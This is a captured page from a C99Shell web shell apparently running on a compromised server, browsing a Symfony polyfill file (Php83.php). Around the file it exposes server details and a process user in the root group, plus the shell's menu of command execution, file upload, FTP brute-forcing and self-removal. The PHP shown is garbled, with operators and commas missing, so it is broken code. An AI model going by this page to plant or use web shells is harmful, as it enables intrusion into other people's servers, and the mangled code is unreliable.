!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_6/vendor/symfony/polyfill-php83/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Php83.php (6.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Polyfill\Php83;

/**
 * @author Ion Bazan <ion.bazan@gmail.com>
 * @author Pierre Ambroise <pierre27.ambroise@gmail.com>
 *
 * @internal
 */
final class Php83
{
    private const 
JSON_MAX_DEPTH 0x7FFFFFFF// see https://www.php.net/manual/en/function.json-decode.php

    
public static function json_validate(string $jsonint $depth 512int $flags 0): bool
    
{
        if (
!== $flags && \defined('JSON_INVALID_UTF8_IGNORE') && \JSON_INVALID_UTF8_IGNORE !== $flags) {
            throw new 
\ValueError('json_validate(): Argument #3 ($flags) must be a valid flag (allowed flags: JSON_INVALID_UTF8_IGNORE)');
        }

        if (
$depth <= 0) {
            throw new 
\ValueError('json_validate(): Argument #2 ($depth) must be greater than 0');
        }

        if (
$depth self::JSON_MAX_DEPTH) {
            throw new 
\ValueError(sprintf('json_validate(): Argument #2 ($depth) must be less than %d'self::JSON_MAX_DEPTH));
        }

        
json_decode($jsonnull$depth$flags);

        return 
\JSON_ERROR_NONE === json_last_error();
    }

    public static function 
mb_str_pad(string $stringint $lengthstring $pad_string ' 'int $pad_type \STR_PAD_RIGHTstring $encoding null): string
    
{
        if (!
\in_array($pad_type, [\STR_PAD_RIGHT\STR_PAD_LEFT\STR_PAD_BOTH], true)) {
            throw new 
\ValueError('mb_str_pad(): Argument #4 ($pad_type) must be STR_PAD_LEFT, STR_PAD_RIGHT, or STR_PAD_BOTH');
        }

        if (
null === $encoding) {
            
$encoding mb_internal_encoding();
        }

        try {
            
$validEncoding = @mb_check_encoding(''$encoding);
        } catch (
\ValueError $e) {
            throw new 
\ValueError(sprintf('mb_str_pad(): Argument #5 ($encoding) must be a valid encoding, "%s" given'$encoding));
        }

        
// BC for PHP 7.3 and lower
        
if (!$validEncoding) {
            throw new 
\ValueError(sprintf('mb_str_pad(): Argument #5 ($encoding) must be a valid encoding, "%s" given'$encoding));
        }

        if (
mb_strlen($pad_string$encoding) <= 0) {
            throw new 
\ValueError('mb_str_pad(): Argument #3 ($pad_string) must be a non-empty string');
        }

        
$paddingRequired $length mb_strlen($string$encoding);

        if (
$paddingRequired 1) {
            return 
$string;
        }

        switch (
$pad_type) {
            case 
\STR_PAD_LEFT:
                return 
mb_substr(str_repeat($pad_string$paddingRequired), 0$paddingRequired$encoding).$string;
            case 
\STR_PAD_RIGHT:
                return 
$string.mb_substr(str_repeat($pad_string$paddingRequired), 0$paddingRequired$encoding);
            default:
                
$leftPaddingLength floor($paddingRequired 2);
                
$rightPaddingLength $paddingRequired $leftPaddingLength;

                return 
mb_substr(str_repeat($pad_string$leftPaddingLength), 0$leftPaddingLength$encoding).$string.mb_substr(str_repeat($pad_string$rightPaddingLength), 0$rightPaddingLength$encoding);
        }
    }

    public static function 
str_increment(string $string): string
    
{
        if (
'' === $string) {
            throw new 
\ValueError('str_increment(): Argument #1 ($string) cannot be empty');
        }

        if (!
\preg_match("/^[a-zA-Z0-9]+$/"$string)) {
            throw new 
\ValueError('str_increment(): Argument #1 ($string) must be composed only of alphanumeric ASCII characters');
        }

        if (
\is_numeric($string)) {
            
$offset stripos($string'e');
            if (
$offset !== false) {
                
$char $string[$offset];
                
$char++;
                
$string[$offset] = $char;
                
$string++;

                switch (
$string[$offset]) {
                    case 
'f':
                        
$string[$offset] = 'e';
                        break;
                    case 
'F':
                        
$string[$offset] = 'E';
                        break;
                    case 
'g':
                        
$string[$offset] = 'f';
                        break;
                    case 
'G':
                        
$string[$offset] = 'F';
                        break;
                }

                return 
$string;
            }
        }

        return ++
$string;
    }

    public static function 
str_decrement(string $string): string
    
{
        if (
'' === $string) {
            throw new 
\ValueError('str_decrement(): Argument #1 ($string) cannot be empty');
        }

        if (!
\preg_match("/^[a-zA-Z0-9]+$/"$string)) {
            throw new 
\ValueError('str_decrement(): Argument #1 ($string) must be composed only of alphanumeric ASCII characters');
        }

        if (
\preg_match('/\A(?:0[aA0]?|[aA])\z/'$string)) {
            throw new 
\ValueError(sprintf('str_decrement(): Argument #1 ($string) "%s" is out of decrement range'$string));
        }

        if (!
\in_array(substr($string, -1), ['A''a''0'], true)) {
            return 
join(''array_slice(str_split($string), 0, -1)) . chr(ord(substr($string, -1)) - 1);
        }

        
$carry '';
        
$decremented '';

        for (
$i strlen($string) - 1$i >= 0$i--) {
            
$char $string[$i];

            switch (
$char) {
                case 
'A':
                    if (
'' !== $carry) {
                        
$decremented $carry $decremented;
                        
$carry '';
                    }
                    
$carry 'Z';

                    break;
                case 
'a':
                    if (
'' !== $carry) {
                        
$decremented $carry $decremented;
                        
$carry '';
                    }
                    
$carry 'z';

                    break;
                case 
'0':
                    if (
'' !== $carry) {
                        
$decremented $carry $decremented;
                        
$carry '';
                    }
                    
$carry '9';

                    break;
                case 
'1':
                    if (
'' !== $carry) {
                        
$decremented $carry $decremented;
                        
$carry '';
                    }

                    break;
                default:
                    if (
'' !== $carry) {
                        
$decremented $carry $decremented;
                        
$carry '';
                    }

                    if (!
\in_array($char, ['A''a''0'], true)) {
                        
$decremented chr(ord($char) - 1) . $decremented;
                    }
            }
        }

        return 
$decremented;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--